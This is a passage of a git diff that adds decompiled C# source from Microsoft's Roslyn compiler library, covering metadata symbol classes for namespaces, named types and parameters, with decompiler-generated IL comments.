ImmutableArray.Enumerator enumerator = TypeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + val = ((PETypeParameterSymbol)enumerator.Current).DeriveCompilerFeatureRequiredDiagnostic(decoder); + if (val != null) + { + return val; + } + } + if (!(ContainingType is PENamedTypeSymbol pENamedTypeSymbol)) + { + return ContainingPEModule.GetCompilerFeatureRequiredDiagnostic(); + } + return pENamedTypeSymbol.GetCompilerFeatureRequiredDiagnostic(); + } + + internal override bool GetGuidString(out string guidString) + { + return ContainingPEModule.Module.HasGuidAttribute((EntityHandle)_handle, ref guidString); + } + + internal override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Metadata/PE/PENamedTypeSymbol.cs", 2313); + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + UncommonProperties uncommonProperties = GetUncommonProperties(); + if (uncommonProperties == s_noUncommonProperties) + { + return ImmutableArray.Empty; + } + if (uncommonProperties.lazyConditionalAttributeSymbols.IsDefault) + { + ImmutableArray conditionalAttributeValues = ContainingPEModule.Module.GetConditionalAttributeValues((EntityHandle)_handle); + ImmutableInterlocked.InterlockedCompareExchange(ref uncommonProperties.lazyConditionalAttributeSymbols, conditionalAttributeValues, default(ImmutableArray)); + } + return uncommonProperties.lazyConditionalAttributeSymbols; + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + UncommonProperties uncommonProperties = GetUncommonProperties(); + if (uncommonProperties == s_noUncommonProperties) + { + if ((object)BaseTypeNoUseSiteDiagnostics == null) + { + return AttributeUsageInfo.Default; + } + return BaseTypeNoUseSiteDiagnostics.GetAttributeUsageInfo(); + } + if (((AttributeUsageInfo)(ref uncommonProperties.lazyAttributeUsageInfo)).IsNull) + { + uncommonProperties.lazyAttributeUsageInfo = DecodeAttributeUsageInfo(); + } + return uncommonProperties.lazyAttributeUsageInfo; + } + + private AttributeUsageInfo DecodeAttributeUsageInfo() + { + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + CustomAttributeHandle attributeUsageAttributeHandle = ContainingPEModule.Module.GetAttributeUsageAttributeHandle((EntityHandle)_handle); + TypedConstant[] array = default(TypedConstant[]); + KeyValuePair[] array2 = default(KeyValuePair[]); + if (!attributeUsageAttributeHandle.IsNil && ((MetadataDecoder)new MetadataDecoder(ContainingPEModule)).GetCustomAttribute(attributeUsageAttributeHandle, ref array, ref array2)) + { + AttributeUsageInfo result = AttributeData.DecodeAttributeUsageAttribute(array[0], ImmutableArrayExtensions.AsImmutableOrNull>(array2)); + if (!((AttributeUsageInfo)(ref result)).HasValidAttributeTargets) + { + return AttributeUsageInfo.Default; + } + return result; + } + if ((object)BaseTypeNoUseSiteDiagnostics == null) + { + return AttributeUsageInfo.Default; + } + return BaseTypeNoUseSiteDiagnostics.GetAttributeUsageInfo(); + } + + private static int GetIndexOfFirstMember(ImmutableArray members, SymbolKind kind) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + int length = members.Length; + for (int i = 0; i < length; i++) + { + if (members[i].Kind == kind) + { + return i; + } + } + return length; + } + + private static IEnumerable GetMembers(ImmutableArray members, SymbolKind kind, int offset = -1) where TSymbol : Symbol + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (offset < 0) + { + offset = GetIndexOfFirstMember(members, kind); + } + int n = members.Length; + for (int i = offset; i < n; i++) + { + Symbol symbol = members[i]; + if (symbol.Kind != kind) + { + break; + } + yield return (TSymbol)symbol; + } + } + + internal sealed override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + return SpecializedCollections.EmptyEnumerable<(MethodSymbol, MethodSymbol)>(); + } + + internal sealed override bool HasInlineArrayAttribute(out int length) + { + if (ContainingPEModule.Module.HasInlineArrayAttribute(_handle, ref length) && length > 0) + { + return true; + } + length = 0; + return false; + } + + internal sealed override bool HasCollectionBuilderAttribute(out TypeSymbol? builderType, out string? methodName) + { + UncommonProperties uncommonProperties = GetUncommonProperties(); + if (uncommonProperties == s_noUncommonProperties) + { + builderType = null; + methodName = null; + return false; + } + if (uncommonProperties.lazyCollectionBuilderAttributeData == CollectionBuilderAttributeData.Uninitialized) + { + Interlocked.CompareExchange(ref uncommonProperties.lazyCollectionBuilderAttributeData, getCollectionBuilderAttributeData(), CollectionBuilderAttributeData.Uninitialized); + } + CollectionBuilderAttributeData lazyCollectionBuilderAttributeData = uncommonProperties.lazyCollectionBuilderAttributeData; + if (lazyCollectionBuilderAttributeData == null) + { + builderType = null; + methodName = null; + return false; + } + builderType = lazyCollectionBuilderAttributeData.BuilderType; + methodName = lazyCollectionBuilderAttributeData.MethodName; + return true; + CollectionBuilderAttributeData? getCollectionBuilderAttributeData() + { + string text = default(string); + string methodName2 = default(string); + if (ContainingPEModule.Module.HasCollectionBuilderAttribute((EntityHandle)_handle, ref text, ref methodName2)) + { + return new CollectionBuilderAttributeData(((TypeNameDecoder)(object)new MetadataDecoder(ContainingPEModule)).GetTypeSymbolForSerializedType(text), methodName2); + } + return null; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PENamespaceSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PENamespaceSymbol.cs new file mode 100644 index 0000000..87023ef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PENamespaceSymbol.cs @@ -0,0 +1,192 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection.Metadata; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal abstract class PENamespaceSymbol : NamespaceSymbol +{ + protected Dictionary, PENestedNamespaceSymbol> lazyNamespaces; + + protected Dictionary, ImmutableArray> lazyTypes; + + private Dictionary _lazyNoPiaLocalTypes; + + private ImmutableArray _lazyFlattenedTypes; + + internal sealed override NamespaceExtent Extent => new NamespaceExtent(ContainingPEModule); + + public sealed override ImmutableArray Locations => ImmutableArrayExtensions.Cast(ContainingPEModule.MetadataLocation); + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + internal abstract PEModuleSymbol ContainingPEModule { get; } + + public sealed override ImmutableArray GetMembers() + { + EnsureAllMembersLoaded(); + ImmutableArray memberTypesPrivate = GetMemberTypesPrivate(); + if (lazyNamespaces.Count == 0) + { + return StaticCast.From(memberTypesPrivate); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(memberTypesPrivate.Length + lazyNamespaces.Count); + instance.AddRange(memberTypesPrivate); + foreach (KeyValuePair, PENestedNamespaceSymbol> lazyNamespace in lazyNamespaces) + { + instance.Add((Symbol)lazyNamespace.Value); + } + return instance.ToImmutableAndFree(); + } + + private ImmutableArray GetMemberTypesPrivate() + { + if (_lazyFlattenedTypes.IsDefault) + { + ImmutableArray value = ImmutableArrayExtensions.Flatten, PENamedTypeSymbol>(lazyTypes, (IComparer)null); + ImmutableInterlocked.InterlockedExchange(ref _lazyFlattenedTypes, value); + } + return StaticCast.From(_lazyFlattenedTypes); + } + + public sealed override ImmutableArray GetMembers(ReadOnlyMemory name) + { + EnsureAllMembersLoaded(); + PENestedNamespaceSymbol value = null; + ImmutableArray value2; + if (lazyNamespaces.TryGetValue(name, out value)) + { + if (lazyTypes.TryGetValue(name, out value2)) + { + return StaticCast.From(value2).Add(value); + } + return ImmutableArray.Create((Symbol)value); + } + if (lazyTypes.TryGetValue(name, out value2)) + { + return StaticCast.From(value2); + } + return ImmutableArray.Empty; + } + + public sealed override ImmutableArray GetTypeMembers() + { + EnsureAllMembersLoaded(); + return GetMemberTypesPrivate(); + } + + public sealed override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + EnsureAllMembersLoaded(); + if (!lazyTypes.TryGetValue(name, out var value)) + { + return ImmutableArray.Empty; + } + return StaticCast.From(value); + } + + public sealed override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArrayExtensions.WhereAsArray(GetTypeMembers(name), (Func)((NamedTypeSymbol type, int num) => type.Arity == num), arity); + } + + protected abstract void EnsureAllMembersLoaded(); + + protected void LoadAllMembers(IEnumerable> typesByNS) + { + IEnumerable> typeGroups = null; + IEnumerable>>> childNamespaces = null; + bool isGlobalNamespace = IsGlobalNamespace; + MetadataHelpers.GetInfoForImmediateNamespaceMembers(isGlobalNamespace, (!isGlobalNamespace) ? GetQualifiedNameLength() : 0, typesByNS, StringComparer.Ordinal, ref typeGroups, ref childNamespaces); + LazyInitializeNamespaces(childNamespaces); + LazyInitializeTypes(typeGroups); + } + + private int GetQualifiedNameLength() + { + int num = Name.Length; + NamespaceSymbol containingNamespace = ContainingNamespace; + while ((object)containingNamespace != null && !containingNamespace.IsGlobalNamespace) + { + num += containingNamespace.Name.Length + 1; + containingNamespace = containingNamespace.ContainingNamespace; + } + return num; + } + + private void LazyInitializeNamespaces(IEnumerable>>> childNamespaces) + { + if (lazyNamespaces != null) + { + return; + } + Dictionary, PENestedNamespaceSymbol> dictionary = new Dictionary, PENestedNamespaceSymbol>((IEqualityComparer>?)ReadOnlyMemoryOfCharComparer.Instance); + foreach (KeyValuePair>> childNamespace in childNamespaces) + { + PENestedNamespaceSymbol pENestedNamespaceSymbol = new PENestedNamespaceSymbol(childNamespace.Key, this, childNamespace.Value); + dictionary.Add(pENestedNamespaceSymbol.Name.AsMemory(), pENestedNamespaceSymbol); + } + Interlocked.CompareExchange(ref lazyNamespaces, dictionary, null); + } + + private void LazyInitializeTypes(IEnumerable> typeGroups) + { + if (lazyTypes != null) + { + return; + } + PEModuleSymbol containingPEModule = ContainingPEModule; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool flag = !containingPEModule.Module.ContainsNoPiaLocalTypes(); + Dictionary dictionary = null; + foreach (IGrouping typeGroup in typeGroups) + { + foreach (TypeDefinitionHandle item in typeGroup) + { + if (flag || !containingPEModule.Module.IsNoPiaLocalType(item)) + { + instance.Add(PENamedTypeSymbol.Create(containingPEModule, this, item, typeGroup.Key)); + continue; + } + try + { + string typeDefNameOrThrow = containingPEModule.Module.GetTypeDefNameOrThrow(item); + if (dictionary == null) + { + dictionary = new Dictionary((IEqualityComparer?)StringOrdinalComparer.Instance); + } + dictionary[typeDefNameOrThrow] = item; + } + catch (BadImageFormatException) + { + } + } + } + Dictionary, ImmutableArray> dictionary2 = instance.ToDictionary>((Func>)((PENamedTypeSymbol c) => c.Name.AsMemory()), (IEqualityComparer>)ReadOnlyMemoryOfCharComparer.Instance); + instance.Free(); + if (dictionary != null) + { + Interlocked.CompareExchange(ref _lazyNoPiaLocalTypes, dictionary, null); + } + if (Interlocked.CompareExchange(ref lazyTypes, dictionary2, null) == null) + { + containingPEModule.OnNewTypeDeclarationsLoaded(dictionary2); + } + } + + internal NamedTypeSymbol? UnifyIfNoPiaLocalType(ref MetadataTypeName emittedTypeName) + { + EnsureAllMembersLoaded(); + bool flag = default(bool); + if (_lazyNoPiaLocalTypes != null && _lazyNoPiaLocalTypes.TryGetValue(((MetadataTypeName)(ref emittedTypeName)).TypeName, out var value)) + { + return (NamedTypeSymbol)((MetadataDecoder)new MetadataDecoder(ContainingPEModule)).GetTypeOfToken((EntityHandle)value, ref flag); + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PENestedNamespaceSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PENestedNamespaceSymbol.cs new file mode 100644 index 0000000..7372ab9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PENestedNamespaceSymbol.cs @@ -0,0 +1,46 @@ +using System.Collections.Generic; +using System.Linq; +using System.Reflection.Metadata; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal sealed class PENestedNamespaceSymbol : PENamespaceSymbol +{ + private readonly PENamespaceSymbol _containingNamespaceSymbol; + + private readonly string _name; + + private IEnumerable> _typesByNS; + + public override Symbol ContainingSymbol => _containingNamespaceSymbol; + + internal override PEModuleSymbol ContainingPEModule => _containingNamespaceSymbol.ContainingPEModule; + + public override string Name => _name; + + public override bool IsGlobalNamespace => false; + + public override AssemblySymbol ContainingAssembly => ContainingPEModule.ContainingAssembly; + + internal override ModuleSymbol ContainingModule => _containingNamespaceSymbol.ContainingPEModule; + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + internal PENestedNamespaceSymbol(string name, PENamespaceSymbol containingNamespace, IEnumerable> typesByNS) + { + _containingNamespaceSymbol = containingNamespace; + _name = name; + _typesByNS = typesByNS; + } + + protected override void EnsureAllMembersLoaded() + { + IEnumerable> typesByNS = _typesByNS; + if (lazyTypes == null || lazyNamespaces == null) + { + LoadAllMembers(typesByNS); + Interlocked.Exchange(ref _typesByNS, null); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEParameterSymbol.cs new file mode 100644 index 0000000..58d7477 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEParameterSymbol.cs @@ -0,0 +1,888 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal class PEParameterSymbol : ParameterSymbol +{ + [Flags] + private enum WellKnownAttributeFlags + { + HasIDispatchConstantAttribute = 1, + HasIUnknownConstantAttribute = 2, + HasCallerFilePathAttribute = 4, + HasCallerLineNumberAttribute = 8, + HasCallerMemberNameAttribute = 0x10, + IsCallerFilePath = 0x20, + IsCallerLineNumber = 0x40, + IsCallerMemberName = 0x80 + } + + private struct PackedFlags + { + private const int WellKnownAttributeDataOffset = 0; + + private const int WellKnownAttributeCompletionFlagOffset = 8; + + private const int RefKindOffset = 16; + + private const int FlowAnalysisAnnotationsOffset = 21; + + private const int ScopeOffset = 29; + + private const int RefKindMask = 7; + + private const int WellKnownAttributeDataMask = 255; + + private const int WellKnownAttributeCompletionFlagMask = 255; + + private const int FlowAnalysisAnnotationsMask = 255; + + private const int ScopeMask = 3; + + private const int HasNameInMetadataBit = 524288; + + private const int FlowAnalysisAnnotationsCompletionBit = 1048576; + + private const int HasUnscopedRefAttributeBit = int.MinValue; + + private const int AllWellKnownAttributesCompleteNoData = 65280; + + private int _bits; + + public RefKind RefKind => (RefKind)(byte)((_bits >> 16) & 7); + + public bool HasNameInMetadata => (_bits & 0x80000) != 0; + + public ScopedKind Scope => (ScopedKind)(byte)((_bits >> 29) & 3); + + public bool HasUnscopedRefAttribute => (_bits & int.MinValue) != 0; + + public PackedFlags(RefKind refKind, bool attributesAreComplete, bool hasNameInMetadata, ScopedKind scope, bool hasUnscopedRefAttribute) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected I4, but got Unknown + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Expected I4, but got Unknown + int num = (refKind & 7) << 16; + int num2 = (attributesAreComplete ? 65280 : 0); + int num3 = (hasNameInMetadata ? 524288 : 0); + int num4 = (scope & 3) << 29; + int num5 = (hasUnscopedRefAttribute ? int.MinValue : 0); + _bits = num | num2 | num3 | num4 | num5; + } + + public bool SetWellKnownAttribute(WellKnownAttributeFlags flag, bool value) + { + int num = (int)flag << 8; + if (value) + { + num |= (int)flag; + } + ThreadSafeFlagOperations.Set(ref _bits, num); + return value; + } + + public bool TryGetWellKnownAttribute(WellKnownAttributeFlags flag, out bool value) + { + int bits = _bits; + value = ((uint)bits & (uint)flag) != 0; + return (bits & ((int)flag << 8)) != 0; + } + + public bool SetFlowAnalysisAnnotations(FlowAnalysisAnnotations value) + { + int num = 0x100000 | ((int)(value & (FlowAnalysisAnnotations.MaybeNull | FlowAnalysisAnnotations.NotNull | FlowAnalysisAnnotations.DoesNotReturn | FlowAnalysisAnnotations.AllowNull | FlowAnalysisAnnotations.DisallowNull)) << 21); + return ThreadSafeFlagOperations.Set(ref _bits, num); + } + + public bool TryGetFlowAnalysisAnnotations(out FlowAnalysisAnnotations value) + { + int bits = _bits; + value = (FlowAnalysisAnnotations)((bits >> 21) & 0xFF); + return (bits & 0x100000) != 0; + } + } + + private sealed class PEParameterSymbolWithCustomModifiers : PEParameterSymbol + { + private readonly ImmutableArray _refCustomModifiers; + + public override ImmutableArray RefCustomModifiers => _refCustomModifiers; + + public PEParameterSymbolWithCustomModifiers(PEModuleSymbol moduleSymbol, Symbol containingSymbol, int ordinal, bool isByRef, ImmutableArray> refCustomModifiers, TypeWithAnnotations type, ParameterHandle handle, Symbol nullableContext, bool isReturn, out bool isBad) + : base(moduleSymbol, containingSymbol, ordinal, isByRef, type, handle, nullableContext, ImmutableArrayExtensions.NullToEmpty>(refCustomModifiers).Length + type.CustomModifiers.Length, isReturn, out isBad) + { + _refCustomModifiers = CSharpCustomModifier.Convert(refCustomModifiers); + } + } + + private readonly Symbol _containingSymbol; + + private readonly string _name; + + private readonly TypeWithAnnotations _typeWithAnnotations; + + private readonly ParameterHandle _handle; + + private readonly ParameterAttributes _flags; + + private readonly PEModuleSymbol _moduleSymbol; + + private ImmutableArray _lazyCustomAttributes; + + private ConstantValue? _lazyDefaultValue = ConstantValue.Unset; + + private ThreeState _lazyIsParams; + + private static readonly ImmutableArray s_defaultStringHandlerAttributeIndexes = ImmutableArray.Create(int.MinValue); + + private ImmutableArray _lazyInterpolatedStringHandlerAttributeIndexes = s_defaultStringHandlerAttributeIndexes; + + private int _lazyCallerArgumentExpressionParameterIndex = -2; + + private ImmutableArray _lazyHiddenAttributes; + + private readonly ushort _ordinal; + + private PackedFlags _packedFlags; + + private bool HasNameInMetadata => _packedFlags.HasNameInMetadata; + + public override RefKind RefKind => _packedFlags.RefKind; + + public override string Name => _name; + + public override string MetadataName + { + get + { + if (!HasNameInMetadata) + { + return string.Empty; + } + return _name; + } + } + + public override int MetadataToken => MetadataTokens.GetToken(_handle); + + internal ParameterAttributes Flags => _flags; + + public override int Ordinal => _ordinal; + + public override bool IsDiscard => false; + + internal ParameterHandle Handle => _handle; + + public override Symbol ContainingSymbol => _containingSymbol; + + internal override bool HasMetadataConstantValue => (_flags & ParameterAttributes.HasDefault) != 0; + + internal override ConstantValue? ExplicitDefaultConstantValue + { + get + { + if (_lazyDefaultValue == ConstantValue.Unset) + { + ConstantValue value = ImportConstantValue(!IsMetadataOptional); + Interlocked.CompareExchange(ref _lazyDefaultValue, value, ConstantValue.Unset); + } + return _lazyDefaultValue; + } + } + + internal override bool IsMetadataOptional => (_flags & ParameterAttributes.Optional) != 0; + + internal override bool IsIDispatchConstant + { + get + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (!_packedFlags.TryGetWellKnownAttribute(WellKnownAttributeFlags.HasIDispatchConstantAttribute, out var value)) + { + return _packedFlags.SetWellKnownAttribute(WellKnownAttributeFlags.HasIDispatchConstantAttribute, _moduleSymbol.Module.HasAttribute((EntityHandle)_handle, AttributeDescription.IDispatchConstantAttribute)); + } + return value; + } + } + + internal override bool IsIUnknownConstant + { + get + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (!_packedFlags.TryGetWellKnownAttribute(WellKnownAttributeFlags.HasIUnknownConstantAttribute, out var value)) + { + return _packedFlags.SetWellKnownAttribute(WellKnownAttributeFlags.HasIUnknownConstantAttribute, _moduleSymbol.Module.HasAttribute((EntityHandle)_handle, AttributeDescription.IUnknownConstantAttribute)); + } + return value; + } + } + + private bool HasCallerLineNumberAttribute + { + get + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (!_packedFlags.TryGetWellKnownAttribute(WellKnownAttributeFlags.HasCallerLineNumberAttribute, out var value)) + { + return _packedFlags.SetWellKnownAttribute(WellKnownAttributeFlags.HasCallerLineNumberAttribute, _moduleSymbol.Module.HasAttribute((EntityHandle)_handle, AttributeDescription.CallerLineNumberAttribute)); + } + return value; + } + } + + private bool HasCallerFilePathAttribute + { + get + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (!_packedFlags.TryGetWellKnownAttribute(WellKnownAttributeFlags.HasCallerFilePathAttribute, out var value)) + { + return _packedFlags.SetWellKnownAttribute(WellKnownAttributeFlags.HasCallerFilePathAttribute, _moduleSymbol.Module.HasAttribute((EntityHandle)_handle, AttributeDescription.CallerFilePathAttribute)); + } + return value; + } + } + + private bool HasCallerMemberNameAttribute + { + get + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + if (!_packedFlags.TryGetWellKnownAttribute(WellKnownAttributeFlags.HasCallerMemberNameAttribute, out var value)) + { + return _packedFlags.SetWellKnownAttribute(WellKnownAttributeFlags.HasCallerMemberNameAttribute, _moduleSymbol.Module.HasAttribute((EntityHandle)_handle, AttributeDescription.CallerMemberNameAttribute)); + } + return value; + } + } + + internal override bool IsCallerLineNumber + { + get + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (!_packedFlags.TryGetWellKnownAttribute(WellKnownAttributeFlags.IsCallerLineNumber, out var value)) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + bool value2 = HasCallerLineNumberAttribute && ContainingAssembly.TypeConversions.HasCallerLineNumberConversion(base.Type, ref useSiteInfo); + return _packedFlags.SetWellKnownAttribute(WellKnownAttributeFlags.IsCallerLineNumber, value2); + } + return value; + } + } + + internal override bool IsCallerFilePath + { + get + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (!_packedFlags.TryGetWellKnownAttribute(WellKnownAttributeFlags.IsCallerFilePath, out var value)) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + bool value2 = !HasCallerLineNumberAttribute && HasCallerFilePathAttribute && ContainingAssembly.TypeConversions.HasCallerInfoStringConversion(base.Type, ref useSiteInfo); + return _packedFlags.SetWellKnownAttribute(WellKnownAttributeFlags.IsCallerFilePath, value2); + } + return value; + } + } + + internal override bool IsCallerMemberName + { + get + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (!_packedFlags.TryGetWellKnownAttribute(WellKnownAttributeFlags.IsCallerMemberName, out var value)) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + bool value2 = !HasCallerLineNumberAttribute && !HasCallerFilePathAttribute && HasCallerMemberNameAttribute && ContainingAssembly.TypeConversions.HasCallerInfoStringConversion(base.Type, ref useSiteInfo); + return _packedFlags.SetWellKnownAttribute(WellKnownAttributeFlags.IsCallerMemberName, value2); + } + return value; + } + } + + internal override int CallerArgumentExpressionParameterIndex + { + get + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + if (_lazyCallerArgumentExpressionParameterIndex != -2) + { + return _lazyCallerArgumentExpressionParameterIndex; + } + AttributeInfo val = _moduleSymbol.Module.FindTargetAttribute((EntityHandle)_handle, AttributeDescription.CallerArgumentExpressionAttribute); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + if (((AttributeInfo)(ref val)).HasValue && !HasCallerLineNumberAttribute && !HasCallerFilePathAttribute && !HasCallerMemberNameAttribute && ContainingAssembly.TypeConversions.HasCallerInfoStringConversion(base.Type, ref useSiteInfo)) + { + string value = default(string); + _moduleSymbol.Module.TryExtractStringValueFromAttribute(val.Handle, ref value); + ImmutableArray parameters = ContainingSymbol.GetParameters(); + for (int i = 0; i < parameters.Length; i++) + { + if (parameters[i].Name.Equals(value, StringComparison.Ordinal)) + { + _lazyCallerArgumentExpressionParameterIndex = i; + return i; + } + } + } + _lazyCallerArgumentExpressionParameterIndex = -1; + return -1; + } + } + + internal override FlowAnalysisAnnotations FlowAnalysisAnnotations + { + get + { + if (!_packedFlags.TryGetFlowAnalysisAnnotations(out var value)) + { + value = DecodeFlowAnalysisAttributes(_moduleSymbol.Module, _handle); + _packedFlags.SetFlowAnalysisAnnotations(value); + } + return value; + } + } + + internal override ImmutableArray InterpolatedStringHandlerArgumentIndexes + { + get + { + EnsureInterpolatedStringHandlerArgumentAttributeDecoded(); + return ImmutableArrayExtensions.NullToEmpty(_lazyInterpolatedStringHandlerAttributeIndexes); + } + } + + internal override bool HasInterpolatedStringHandlerArgumentError + { + get + { + EnsureInterpolatedStringHandlerArgumentAttributeDecoded(); + ImmutableArray lazyInterpolatedStringHandlerAttributeIndexes = _lazyInterpolatedStringHandlerAttributeIndexes; + return lazyInterpolatedStringHandlerAttributeIndexes.IsDefault; + } + } + + internal override ImmutableHashSet NotNullIfParameterNotNull => _moduleSymbol.Module.GetStringValuesOfNotNullIfNotNullAttribute((EntityHandle)_handle); + + public override TypeWithAnnotations TypeWithAnnotations => _typeWithAnnotations; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + internal override bool IsMetadataIn => (_flags & ParameterAttributes.In) != 0; + + internal override bool IsMetadataOut => (_flags & ParameterAttributes.Out) != 0; + + internal override bool IsMarshalledExplicitly => (_flags & ParameterAttributes.HasFieldMarshal) != 0; + + internal override MarshalPseudoCustomAttributeData MarshallingInformation => null; + + internal override ImmutableArray MarshallingDescriptor + { + get + { + if ((_flags & ParameterAttributes.HasFieldMarshal) == 0) + { + return default(ImmutableArray); + } + return _moduleSymbol.Module.GetMarshallingDescriptor((EntityHandle)_handle); + } + } + + internal override UnmanagedType MarshallingType + { + get + { + if ((_flags & ParameterAttributes.HasFieldMarshal) == 0) + { + return (UnmanagedType)0; + } + return _moduleSymbol.Module.GetMarshallingType((EntityHandle)_handle); + } + } + + public override bool IsParams + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + if (!ThreeStateHelpers.HasValue(_lazyIsParams)) + { + _lazyIsParams = ThreeStateHelpers.ToThreeState(_moduleSymbol.Module.HasParamsAttribute((EntityHandle)_handle)); + } + return ThreeStateHelpers.Value(_lazyIsParams); + } + } + + public override ImmutableArray Locations => _containingSymbol.Locations; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + internal sealed override ScopedKind EffectiveScope => _packedFlags.Scope; + + internal override bool HasUnscopedRefAttribute => _packedFlags.HasUnscopedRefAttribute; + + internal sealed override bool UseUpdatedEscapeRules => _moduleSymbol.UseUpdatedEscapeRules; + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + public override bool HasUnsupportedMetadata + { + get + { + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + PEModuleSymbol moduleSymbol = (PEModuleSymbol)ContainingModule; + Symbol containingSymbol = ContainingSymbol; + MetadataDecoder metadataDecoder; + if (!(containingSymbol is PEMethodSymbol context)) + { + if (!(containingSymbol is PEPropertySymbol)) + { + throw ExceptionUtilities.UnexpectedValue((object)ContainingSymbol.Kind); + } + metadataDecoder = new MetadataDecoder(moduleSymbol, (PENamedTypeSymbol)ContainingType); + } + else + { + metadataDecoder = new MetadataDecoder(moduleSymbol, context); + } + MetadataDecoder decoder = metadataDecoder; + DiagnosticInfo val = DeriveCompilerFeatureRequiredDiagnostic(decoder); + if (val == null || val.Code != 9041) + { + return base.HasUnsupportedMetadata; + } + return true; + } + } + + internal static PEParameterSymbol Create(PEModuleSymbol moduleSymbol, PEMethodSymbol containingSymbol, bool isContainingSymbolVirtual, int ordinal, ParamInfo parameterInfo, Symbol nullableContext, bool isReturn, out bool isBad) + { + //IL_0004: Unknown 